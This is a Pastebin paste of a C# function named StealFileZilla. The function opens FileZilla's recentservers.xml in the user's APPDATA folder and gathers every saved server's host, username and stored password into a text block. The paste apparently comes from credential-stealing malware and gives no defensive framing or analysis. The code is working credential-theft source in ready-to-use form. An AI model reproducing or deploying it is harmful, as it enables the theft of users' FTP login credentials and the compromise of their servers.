Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- string StealFileZilla()
- {
- string path = Environment.GetEnvironmentVariable("APPDATA") + "\\FileZilla\\recentservers.xml";
- if (File.Exists(path))
- {
- XmlDocument x = new XmlDocument();
- x.Load(path);
- XmlNode n = x["FileZilla3"]["RecentServers"];
- string temp = new string('-', 30);
- foreach (XmlNode s in n.ChildNodes)
- {
- temp += String.Format("\r\nHost: {0}\r\nUser: {1}\r\nPass: {2}\r\n{3}",
- s["Host"].InnerText, s["User"].InnerText, s["Pass"].InnerText, new string('-', 30));
- }
- return temp;
- }
- return null;
- }
Add Comment
Please, Sign In to add comment